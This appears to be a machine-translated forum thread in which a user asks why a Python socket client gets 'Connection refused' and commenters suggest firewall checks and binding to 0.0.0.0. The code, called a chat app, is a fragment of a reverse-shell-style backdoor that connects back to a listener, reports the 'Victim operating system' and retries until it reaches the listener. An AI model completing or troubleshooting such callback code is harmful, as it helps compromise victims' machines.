Когда я пытаюсь установить внешнее соединение через сокет (КАК ПРИЛОЖЕНИЕ ЧАТА) python, я получаю
[Errno 111] Connection refused
while True:
try:
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
break
except socket.error as e:
print(str(e))
time.sleep(5)
continue
self.reliable_send(platform.platform())
def __init__(self, ip = "0.0.0.0", port=55000):
self.listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.listener.bind((ip, port))
self.listener.listen(1)
print("[+] Waiting for incoming connections")
(self.connection, address) = self.listener.accept()
print("[+] Got a connection from :" + address[0])
print("[+] Victim operating system :" + self.reliable_receive())
В чем ошибка? Я уже открываю этот порт на своем сервере и работающее на нем приложение, но оно не подключается к нему! Спасибо
Я уже объясняю, что именно мне нужно, в любом случае, спасибо, сэр.
Вполне вероятно, что на сервере или между ними установлен брандмауэр, блокирующий доступ от клиента.
Я проверил это на сервере, но открыл все нужные мне порты.






Попробуйте послушать на 0.0.0.0 вместо 127.0.0.1
Пожалуйста, не включайте соответствующий код и ошибки как изображение. Вместо этого включите этот текст als. Кроме того, не просто добавляйте свой код в вопрос, а подробно объясняйте, что вы на самом деле пытаетесь сделать.